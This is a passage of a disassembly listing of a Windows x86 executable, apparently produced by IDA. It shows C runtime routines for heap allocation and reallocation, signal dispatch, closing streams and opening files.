		jmp	loc_41771A
; ---------------------------------------------------------------------------

loc_417645:				; CODE XREF: sub_417602+13j
					; sub_417602+22j
		imul	ecx, [ebp+arg_4]
		mov	esi, ecx
		mov	[ebp+arg_0], esi
		cmp	esi, edi
		jnz	short loc_417655
		xor	esi, esi
		inc	esi

loc_417655:				; CODE XREF: sub_417602+4Ej
					; sub_417602+DBj
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4176C8
		cmp	dword_434D5C, 3
		jnz	short loc_4176B3
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_434D4C
		ja	short loc_4176B3
		push	4
		call	sub_40F9F7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	[ebp+arg_0]
		call	sub_4102F9
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4176FE
		mov	ebx, [ebp+var_1C]
		cmp	ebx, edi
		jz	short loc_4176B7
		push	[ebp+arg_0]
		push	edi
		push	ebx
		call	sub_40C6F0
		add	esp, 0Ch

loc_4176B3:				; CODE XREF: sub_417602+64j
					; sub_417602+78j
		cmp	ebx, edi
		jnz	short loc_417718

loc_4176B7:				; CODE XREF: sub_417602+A2j
		push	esi
		push	8
		push	dword_425FE8
		call	ds:dword_41E0F8	; RtlAllocateHeap
		mov	ebx, eax

loc_4176C8:				; CODE XREF: sub_417602+5Bj
		cmp	ebx, edi
		jnz	short loc_417718
		cmp	dword_42636C, edi
		jz	short loc_417707
		push	esi
		call	sub_411CE7
		pop	ecx
		test	eax, eax
		jnz	loc_417655
		mov	eax, [ebp+arg_8]
		cmp	eax, edi
		jz	loc_41763E
		mov	dword ptr [eax], 0Ch
		jmp	loc_41763E
sub_417602	endp


; =============== S U B	R O U T	I N E =======================================



sub_4176F9	proc near		; DATA XREF: r69pu5ti:00421DF0o
		xor	edi, edi
		mov	esi, [ebp+0Ch]
sub_4176F9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4176FE	proc near		; CODE XREF: sub_417602+98p
		push	4
		call	sub_40F91F
		pop	ecx
		retn
sub_4176FE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417602

loc_417707:				; CODE XREF: sub_417602+D0j
		cmp	ebx, edi
		jnz	short loc_417718
		mov	eax, [ebp+arg_8]
		cmp	eax, edi
		jz	short loc_417718
		mov	dword ptr [eax], 0Ch

loc_417718:				; CODE XREF: sub_417602+B3j
					; sub_417602+C8j ...
		mov	eax, ebx

loc_41771A:				; CODE XREF: sub_417602+3Ej
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_417602

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417720	proc near		; CODE XREF: sub_4118C2+Cp
					; sub_41793B+3Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041786D SIZE 000000CE BYTES

		push	10h
		push	offset dword_421DF8
		call	__SEH_prolog4
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jnz	short loc_417741
		push	[ebp+arg_4]
		call	sub_40D437
		pop	ecx
		jmp	loc_41790D
; ---------------------------------------------------------------------------

loc_417741:				; CODE XREF: sub_417720+11j
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_417754
		push	ebx
		call	sub_40D35A
		pop	ecx
		jmp	loc_41790B
; ---------------------------------------------------------------------------

loc_417754:				; CODE XREF: sub_417720+26j
		cmp	dword_434D5C, 3
		jnz	loc_4178F4

loc_417761:				; CODE XREF: sub_417720+169j
		xor	edi, edi
		mov	[ebp+var_1C], edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4178F9
		push	4
		call	sub_40F9F7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_40FB25
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	loc_41782A
		cmp	esi, dword_434D4C
		ja	short loc_4177DD
		push	esi
		push	ebx
		push	eax
		call	sub_41001A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4177A8
		mov	[ebp+var_1C], ebx
		jmp	short loc_4177DD
; ---------------------------------------------------------------------------

loc_4177A8:				; CODE XREF: sub_417720+81j
		push	esi
		call	sub_4102F9
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jz	short loc_4177DD
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4177C0
		mov	eax, esi

loc_4177C0:				; CODE XREF: sub_417720+9Cj
		push	eax
		push	ebx
		push	[ebp+var_1C]
		call	sub_40D820
		push	ebx
		call	sub_40FB25
		mov	[ebp+var_20], eax
		push	ebx
		push	eax
		call	sub_40FB50
		add	esp, 18h

loc_4177DD:				; CODE XREF: sub_417720+72j
					; sub_417720+86j ...
		cmp	[ebp+var_1C], edi
		jnz	short loc_41782A
		cmp	esi, edi
		jnz	short loc_4177EC
		xor	esi, esi
		inc	esi
		mov	[ebp+arg_4], esi

loc_4177EC:				; CODE XREF: sub_417720+C4j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	edi
		push	dword_425FE8
		call	ds:dword_41E0F8	; RtlAllocateHeap
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jz	short loc_41782A
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_417814
		mov	eax, esi

loc_417814:				; CODE XREF: sub_417720+F0j
		push	eax
		push	ebx
		push	[ebp+var_1C]
		call	sub_40D820
		push	ebx
		push	[ebp+var_20]
		call	sub_40FB50
		add	esp, 14h

loc_41782A:				; CODE XREF: sub_417720+66j
					; sub_417720+C0j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_417864
		cmp	[ebp+var_20], 0
		jnz	short loc_41786D
		test	esi, esi
		jnz	short loc_417841
		inc	esi

loc_417841:				; CODE XREF: sub_417720+11Ej
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	ebx
		push	0
		push	dword_425FE8
		call	ds:off_41E13C
		mov	edi, eax
		jmp	short loc_417870
sub_417720	endp


; =============== S U B	R O U T	I N E =======================================



sub_41785E	proc near		; DATA XREF: r69pu5ti:00421E10o
		mov	esi, [ebp+0Ch]
		mov	ebx, [ebp+8]
sub_41785E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417864	proc near		; CODE XREF: sub_417720+111p
		push	4
		call	sub_40F91F
		pop	ecx
		retn
sub_417864	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417720

loc_41786D:				; CODE XREF: sub_417720+11Aj
		mov	edi, [ebp+var_1C]

loc_417870:				; CODE XREF: sub_417720+13Cj
		test	edi, edi
		jnz	loc_417937
		cmp	dword_42636C, edi
		jz	short loc_4178AC
		push	esi
		call	sub_411CE7
		pop	ecx
		test	eax, eax
		jnz	loc_417761
		call	sub_40F7D4
		cmp	[ebp+var_20], edi
		jnz	short loc_417905

loc_417899:				; CODE XREF: sub_417720+1F8j
		mov	esi, eax
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		push	eax
		call	sub_40F799
		pop	ecx
		mov	[esi], eax
		jmp	short loc_41790B
; ---------------------------------------------------------------------------

loc_4178AC:				; CODE XREF: sub_417720+15Ej
		test	edi, edi
		jnz	loc_417937
		call	sub_40F7D4
		cmp	[ebp+var_20], edi
		jz	short loc_417926
		mov	dword ptr [eax], 0Ch
		jmp	short loc_417937
; ---------------------------------------------------------------------------

loc_4178C6:				; CODE XREF: sub_417720+1D7j
		test	esi, esi
		jnz	short loc_4178CB
		inc	esi

loc_4178CB:				; CODE XREF: sub_417720+1A8j
		push	esi
		push	ebx
		push	0
		push	dword_425FE8
		call	ds:off_41E13C
		mov	edi, eax
		test	edi, edi
		jnz	short loc_417937
		cmp	dword_42636C, eax
		jz	short loc_41791D
		push	esi
		call	sub_411CE7
		pop	ecx
		test	eax, eax
		jz	short loc_417913

loc_4178F4:				; CODE XREF: sub_417720+3Bj
		cmp	esi, 0FFFFFFE0h
		jbe	short loc_4178C6

loc_4178F9:				; CODE XREF: sub_417720+49j
		push	esi
		call	sub_411CE7
		pop	ecx
		call	sub_40F7D4

loc_417905:				; CODE XREF: sub_417720+177j
		mov	dword ptr [eax], 0Ch

loc_41790B:				; CODE XREF: sub_417720+2Fj
					; sub_417720+18Aj
		xor	eax, eax

loc_41790D:				; CODE XREF: sub_417720+1Cj
					; sub_417720+219j
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_417913:				; CODE XREF: sub_417720+1D2j
		call	sub_40F7D4
		jmp	loc_417899
; ---------------------------------------------------------------------------

loc_41791D:				; CODE XREF: sub_417720+1C7j
		test	edi, edi
		jnz	short loc_417937
		call	sub_40F7D4

loc_417926:				; CODE XREF: sub_417720+19Cj
		mov	esi, eax
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		push	eax
		call	sub_40F799
		mov	[esi], eax
		pop	ecx

loc_417937:				; CODE XREF: sub_417720+152j
					; sub_417720+18Ej ...
		mov	eax, edi
		jmp	short loc_41790D
; END OF FUNCTION CHUNK	FOR sub_417720

; =============== S U B	R O U T	I N E =======================================



sub_41793B	proc near		; CODE XREF: sub_41190D+10p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jbe	short loc_41796F
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	ecx
		cmp	eax, [esp+4+arg_8]
		jnb	short loc_41796F
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 0Ch
		call	sub_40CB08
		add	esp, 14h
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41796F:				; CODE XREF: sub_41793B+9j
					; sub_41793B+16j
		imul	ecx, [esp+4+arg_8]
		push	ecx
		push	[esp+8+arg_0]
		call	sub_417720
		pop	ecx
		pop	ecx
		pop	esi
		retn
sub_41793B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417982	proc near		; CODE XREF: sub_411C19+27p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4264A4, eax
		mov	dword_4264A8, eax
		mov	dword_4264AC, eax
		mov	dword_4264B0, eax
		retn
sub_417982	endp


; =============== S U B	R O U T	I N E =======================================



sub_41799B	proc near		; CODE XREF: sub_4179DC+5Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, dword_423E24
		push	esi

loc_4179A6:				; CODE XREF: sub_41799B+1Ej
		cmp	[eax+4], edx
		jz	short loc_4179BB
		mov	esi, ecx
		imul	esi, 0Ch
		add	esi, [esp+4+arg_0]
		add	eax, 0Ch
		cmp	eax, esi
		jb	short loc_4179A6

loc_4179BB:				; CODE XREF: sub_41799B+Ej
		imul	ecx, 0Ch
		add	ecx, [esp+4+arg_0]
		pop	esi
		cmp	eax, ecx
		jnb	short loc_4179CC
		cmp	[eax+4], edx
		jz	short locret_4179CE

loc_4179CC:				; CODE XREF: sub_41799B+2Aj
		xor	eax, eax

locret_4179CE:				; CODE XREF: sub_41799B+2Fj
		retn
sub_41799B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179CF	proc near		; CODE XREF: sub_419CD1:loc_419CFEp
		push	dword_4264AC
		call	sub_40F194
		pop	ecx
		retn
sub_4179CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4179DC	proc near		; CODE XREF: sub_419CD1+38p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00417B86 SIZE 00000006 BYTES

		push	20h
		push	offset dword_421E18
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_28], edi
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 0Bh
		jg	short loc_417A44
		jz	short loc_417A0F
		mov	eax, ebx
		push	2
		pop	ecx
		sub	eax, ecx
		jz	short loc_417A25
		sub	eax, ecx
		jz	short loc_417A0F
		sub	eax, ecx
		jz	short loc_417A6F
		sub	eax, ecx
		jnz	short loc_417A53

loc_417A0F:				; CODE XREF: sub_4179DC+1Cj
					; sub_4179DC+29j
		call	sub_40F31B
		mov	edi, eax
		mov	[ebp+var_28], edi
		test	edi, edi
		jnz	short loc_417A31

loc_417A1D:				; CODE XREF: sub_4179DC+91j
		or	eax, 0FFFFFFFFh
		jmp	loc_417B86
; ---------------------------------------------------------------------------

loc_417A25:				; CODE XREF: sub_4179DC+25j
		mov	esi, offset dword_4264A4
		mov	eax, dword_4264A4
		jmp	short loc_417A91
; ---------------------------------------------------------------------------

loc_417A31:				; CODE XREF: sub_4179DC+3Fj
		push	dword ptr [edi+5Ch]
		mov	edx, ebx
		call	sub_41799B
		mov	esi, eax
		add	esi, 8
		mov	eax, [esi]
		jmp	short loc_417A9E
; ---------------------------------------------------------------------------

loc_417A44:				; CODE XREF: sub_4179DC+1Aj
		mov	eax, ebx
		sub	eax, 0Fh
		jz	short loc_417A87
		sub	eax, 6
		jz	short loc_417A7B
		dec	eax
		jz	short loc_417A6F

loc_417A53:				; CODE XREF: sub_4179DC+31j
		call	sub_40F7D4
		mov	dword ptr [eax], 16h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40CB08
		add	esp, 14h
		jmp	short loc_417A1D
; ---------------------------------------------------------------------------

loc_417A6F:				; CODE XREF: sub_4179DC+2Dj
					; sub_4179DC+75j
		mov	esi, offset dword_4264AC
		mov	eax, dword_4264AC
		jmp	short loc_417A91
; ---------------------------------------------------------------------------

loc_417A7B:				; CODE XREF: sub_4179DC+72j
		mov	esi, offset dword_4264A8
		mov	eax, dword_4264A8
		jmp	short loc_417A91
; ---------------------------------------------------------------------------

loc_417A87:				; CODE XREF: sub_4179DC+6Dj
		mov	esi, offset dword_4264B0
		mov	eax, dword_4264B0

loc_417A91:				; CODE XREF: sub_4179DC+53j
					; sub_4179DC+9Dj ...
		mov	[ebp+var_1C], 1
		push	eax
		call	sub_40F194

loc_417A9E:				; CODE XREF: sub_4179DC+66j
		mov	[ebp+var_20], eax
		pop	ecx
		xor	eax, eax
		cmp	[ebp+var_20], 1
		jz	loc_417B86
		cmp	[ebp+var_20], eax
		jnz	short loc_417ABA
		push	3
		call	sub_411BEA

loc_417ABA:				; CODE XREF: sub_4179DC+D5j
		cmp	[ebp+var_1C], eax
		jz	short loc_417AC6
		push	eax
		call	sub_40F9F7
		pop	ecx

loc_417AC6:				; CODE XREF: sub_4179DC+E1j
		xor	eax, eax
		mov	[ebp+ms_exc.disabled], eax
		cmp	ebx, 8
		jz	short loc_417ADA
		cmp	ebx, 0Bh
		jz	short loc_417ADA
		cmp	ebx, 4
		jnz	short loc_417AF5

loc_417ADA:				; CODE XREF: sub_4179DC+F2j
					; sub_4179DC+F7j
		mov	ecx, [edi+60h]
		mov	[ebp+var_2C], ecx
		mov	[edi+60h], eax
		cmp	ebx, 8
		jnz	short loc_417B28
		mov	ecx, [edi+64h]
		mov	[ebp+var_30], ecx
		mov	dword ptr [edi+64h], 8Ch

loc_417AF5:				; CODE XREF: sub_4179DC+FCj
		cmp	ebx, 8
		jnz	short loc_417B28
		mov	ecx, dword_423E18
		mov	[ebp+var_24], ecx

loc_417B03:				; CODE XREF: sub_4179DC+14Aj
		mov	ecx, dword_423E1C
		mov	edx, dword_423E18
		add	ecx, edx
		cmp	[ebp+var_24], ecx
		jge	short loc_417B2F
		mov	ecx, [ebp+var_24]
		imul	ecx, 0Ch
		mov	edx, [edi+5Ch]
		mov	[ecx+edx+8], eax
		inc	[ebp+var_24]
		jmp	short loc_417B03
; ---------------------------------------------------------------------------

loc_417B28:				; CODE XREF: sub_4179DC+10Aj
					; sub_4179DC+11Cj
		call	sub_40F18B
		mov	[esi], eax

loc_417B2F:				; CODE XREF: sub_4179DC+138j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_417B50
		cmp	ebx, 8
		jnz	short sub_417B5F
		push	dword ptr [edi+64h]
		push	ebx
		call	[ebp+var_20]
		pop	ecx
		jmp	short loc_417B63
sub_4179DC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417B4A	proc near		; DATA XREF: r69pu5ti:00421E30o
		mov	ebx, [ebp+8]
		mov	edi, [ebp-28h]
sub_417B4A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417B50	proc near		; CODE XREF: sub_4179DC+15Ap
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_417B5E
		push	0
		call	sub_40F91F
		pop	ecx

locret_417B5E:				; CODE XREF: sub_417B50+4j
		retn
sub_417B50	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B5F	proc near		; CODE XREF: sub_4179DC+162j
		push	ebx
		call	dword ptr [ebp-20h]

loc_417B63:				; CODE XREF: sub_4179DC+16Cj
		pop	ecx
		cmp	ebx, 8
		jz	short loc_417B73
		cmp	ebx, 0Bh
		jz	short loc_417B73
		cmp	ebx, 4
		jnz	short loc_417B84

loc_417B73:				; CODE XREF: sub_417B5F+8j
					; sub_417B5F+Dj
		mov	eax, [ebp-2Ch]
		mov	[edi+60h], eax
		cmp	ebx, 8
		jnz	short loc_417B84
		mov	eax, [ebp-30h]
		mov	[edi+64h], eax

loc_417B84:				; CODE XREF: sub_417B5F+12j
					; sub_417B5F+1Dj
		xor	eax, eax
sub_417B5F	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4179DC

loc_417B86:				; CODE XREF: sub_4179DC+44j
					; sub_4179DC+CCj
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_4179DC

; =============== S U B	R O U T	I N E =======================================



sub_417B8C	proc near		; CODE XREF: sub_411C19+21p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4264B8, eax
		retn
sub_417B8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B96	proc near		; CODE XREF: sub_411C19+1Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4264C4, eax
		retn
sub_417B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417BA0	proc near		; CODE XREF: sub_411DC0+Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset dword_421E38
		call	__SEH_prolog4
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		push	1
		call	sub_40F9F7
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		push	3
		pop	edi

loc_417BBF:				; CODE XREF: sub_417BA0+7Fj
		mov	[ebp+var_20], edi
		cmp	edi, dword_434D20
		jge	short loc_417C21
		mov	esi, edi
		shl	esi, 2
		mov	eax, dword_433D00
		add	eax, esi
		cmp	[eax], ebx
		jz	short loc_417C1E
		mov	eax, [eax]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_417BF1
		push	eax
		call	sub_40D257
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417BF1
		inc	[ebp+var_1C]

loc_417BF1:				; CODE XREF: sub_417BA0+40j
					; sub_417BA0+4Cj
		cmp	edi, 14h
		jl	short loc_417C1E
		mov	eax, dword_433D00
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	ds:off_41E158
		mov	eax, dword_433D00
		push	dword ptr [esi+eax]
		call	sub_40D35A
		pop	ecx
		mov	eax, dword_433D00
		mov	[esi+eax], ebx

loc_417C1E:				; CODE XREF: sub_417BA0+38j
					; sub_417BA0+54j
		inc	edi
		jmp	short loc_417BBF
; ---------------------------------------------------------------------------

loc_417C21:				; CODE XREF: sub_417BA0+28j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_417C36
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_417BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C36	proc near		; CODE XREF: sub_417BA0+88p
					; DATA XREF: r69pu5ti:00421E50o
		push	1
		call	sub_40F91F
		pop	ecx
		retn
sub_417C36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C3F	proc near		; CODE XREF: sub_41827D+72p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		xor	ebx, ebx
		test	byte ptr [ebp+arg_8], 80h
		push	edi
		push	10h
		mov	esi, eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_2], bl
		mov	[ebp+var_28], 0Ch
		mov	[ebp+var_24], ebx
		pop	edi
		jz	short loc_417C71
		mov	[ebp+var_20], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_417C7B
; ---------------------------------------------------------------------------

loc_417C71:				; CODE XREF: sub_417C3F+27j
		mov	[ebp+var_20], 1
		mov	[ebp+var_1], bl

loc_417C7B:				; CODE XREF: sub_417C3F+30j
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41A399
		test	eax, eax
		pop	ecx
		jz	short loc_417C96
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40CA0C
		add	esp, 14h

loc_417C96:				; CODE XREF: sub_417C3F+48j
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_411A06
		test	eax, eax
		pop	ecx
		jz	short loc_417CB1
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40CA0C
		add	esp, 14h

loc_417CB1:				; CODE XREF: sub_417C3F+63j
		mov	eax, 8000h
		test	[ebp+arg_8], eax
		jnz	short loc_417CCD
		test	[ebp+arg_8], 74000h
		jnz	short loc_417CC9
		cmp	[ebp+var_14], eax
		jz	short loc_417CCD

loc_417CC9:				; CODE XREF: sub_417C3F+83j
		or	[ebp+var_1], 80h

loc_417CCD:				; CODE XREF: sub_417C3F+7Aj
					; sub_417C3F+88j
		mov	eax, [ebp+arg_8]
		push	3
		pop	edx
		and	eax, edx
		sub	eax, ebx
		mov	ecx, 80000000h
		jz	short loc_417D1C
		dec	eax
		jz	short loc_417D13
		dec	eax
		jz	short loc_417D0A

loc_417CE4:				; CODE XREF: sub_417C3F+F6j
					; sub_417C3F+14Fj ...
		call	sub_40F7E7
		mov	[eax], ebx
		or	dword ptr [esi], 0FFFFFFFFh
		call	sub_40F7D4
		push	16h
		pop	esi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40CB08
		add	esp, 14h
		jmp	loc_418199
; ---------------------------------------------------------------------------

loc_417D0A:				; CODE XREF: sub_417C3F+A3j
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_417D1F
; ---------------------------------------------------------------------------

loc_417D13:				; CODE XREF: sub_417C3F+A0j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_417D1F
; ---------------------------------------------------------------------------

loc_417D1C:				; CODE XREF: sub_417C3F+9Dj
		mov	[ebp+var_C], ecx

loc_417D1F:				; CODE XREF: sub_417C3F+D2j
					; sub_417C3F+DBj
		mov	eax, [ebp+arg_C]
		sub	eax, edi
		jz	short loc_417D5B
		sub	eax, edi
		jz	short loc_417D52
		sub	eax, edi
		jz	short loc_417D49
		sub	eax, edi
		jz	short loc_417D44
		sub	eax, 40h
		jnz	short loc_417CE4
		xor	eax, eax
		cmp	[ebp+var_C], ecx
		setz	al
		mov	[ebp+var_8], eax
		jmp	short loc_417D5E
; ---------------------------------------------------------------------------

loc_417D44:				; CODE XREF: sub_417C3F+F1j
		mov	[ebp+var_8], edx
		jmp	short loc_417D5E
; ---------------------------------------------------------------------------

loc_417D49:				; CODE XREF: sub_417C3F+EDj
		mov	[ebp+var_8], 2
		jmp	short loc_417D5E
; ---------------------------------------------------------------------------

loc_417D52:				; CODE XREF: sub_417C3F+E9j
		mov	[ebp+var_8], 1
		jmp	short loc_417D5E
; ---------------------------------------------------------------------------

loc_417D5B:				; CODE XREF: sub_417C3F+E5j
		mov	[ebp+var_8], ebx

loc_417D5E:				; CODE XREF: sub_417C3F+103j
					; sub_417C3F+108j ...
		mov	eax, [ebp+arg_8]
		mov	edx, 700h
		and	eax, edx
		mov	ecx, 400h
		cmp	eax, ecx
		jg	short loc_417DAF
		jz	short loc_417DA6
		cmp	eax, ebx
		jz	short loc_417DA6
		cmp	eax, 100h
		jz	short loc_417D9D
		cmp	eax, 200h
		jz	loc_417E21
		cmp	eax, 300h
		jnz	loc_417CE4
		mov	[ebp+var_10], 2
		jmp	short loc_417DCC
; ---------------------------------------------------------------------------

loc_417D9D:				; CODE XREF: sub_417C3F+13Dj
		mov	[ebp+var_10], 4
		jmp	short loc_417DCC
; ---------------------------------------------------------------------------

loc_417DA6:				; CODE XREF: sub_417C3F+132j
					; sub_417C3F+136j
		mov	[ebp+var_10], 3
		jmp	short loc_417DCC
; ---------------------------------------------------------------------------

loc_417DAF:				; CODE XREF: sub_417C3F+130j
		cmp	eax, 500h
		jz	short loc_417DC5
		cmp	eax, 600h
		jz	short loc_417E21
		cmp	eax, edx
		jnz	loc_417CE4

loc_417DC5:				; CODE XREF: sub_417C3F+175j
		mov	[ebp+var_10], 1

loc_417DCC:				; CODE XREF: sub_417C3F+15Cj
					; sub_417C3F+165j ...
		mov	ecx, [ebp+arg_8]
		mov	eax, 100h
		test	ecx, eax
		mov	edi, 80h
		jz	short loc_417DEF
		mov	edx, dword_425FF4
		not	edx
		and	edx, [ebp+arg_10]
		test	dl, dl
		js	short loc_417DEF
		xor	edi, edi
		inc	edi

loc_417DEF:				; CODE XREF: sub_417C3F+19Cj
					; sub_417C3F+1ABj
		test	cl, 40h
		jz	short loc_417E0B
		or	[ebp+var_C], 10000h
		or	edi, 4000000h
		cmp	[ebp+var_18], 2
		jnz	short loc_417E0B
		or	[ebp+var_8], 4

loc_417E0B:				; CODE XREF: sub_417C3F+1B3j
					; sub_417C3F+1C6j
		test	cx, 1000h
		jz	short loc_417E14
		or	edi, eax

loc_417E14:				; CODE XREF: sub_417C3F+1D1j
		test	cl, 20h
		jz	short loc_417E2A
		or	edi, 8000000h
		jmp	short loc_417E35
; ---------------------------------------------------------------------------

loc_417E21:				; CODE XREF: sub_417C3F+144j
					; sub_417C3F+17Cj
		mov	[ebp+var_10], 5
		jmp	short loc_417DCC
; ---------------------------------------------------------------------------

loc_417E2A:				; CODE XREF: sub_417C3F+1D8j
		test	cl, 10h
		jz	short loc_417E35
		or	edi, 10000000h

loc_417E35:				; CODE XREF: sub_417C3F+1E0j
					; sub_417C3F+1EEj
		call	sub_418A7C
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_417E58
		call	sub_40F7E7
		mov	[eax], ebx
		or	dword ptr [esi], 0FFFFFFFFh
		call	sub_40F7D4
		mov	dword ptr [eax], 18h
		jmp	short loc_417EA8
; ---------------------------------------------------------------------------

loc_417E58:				; CODE XREF: sub_417C3F+200j
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		push	[ebp+var_10]
		mov	dword ptr [eax], 1
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+arg_4]
		call	ds:off_41E05C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_417EB4
		mov	esi, [esi]
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_433C00[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FEh

loc_417E9B:				; CODE XREF: sub_417C3F+2A2j
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		push	eax
		call	sub_40F7FA

loc_417EA7:				; CODE XREF: sub_417C3F+345j
		pop	ecx

loc_417EA8:				; CODE XREF: sub_417C3F+217j
		call	sub_40F7D4
		mov	eax, [eax]
		jmp	loc_418278
; ---------------------------------------------------------------------------

loc_417EB4:				; CODE XREF: sub_417C3F+23Fj
		push	edi
		call	ds:dword_41E130	; GetFileType
		cmp	eax, ebx
		jnz	short loc_417EE3
		mov	esi, [esi]
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_433C00[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FEh
		push	edi
		call	ds:dword_41E0C4	; CloseHandle
		jmp	short loc_417E9B
; ---------------------------------------------------------------------------

loc_417EE3:				; CODE XREF: sub_417C3F+27Ej
		cmp	eax, 2
		jnz	short loc_417EEE
		or	[ebp+var_1], 40h
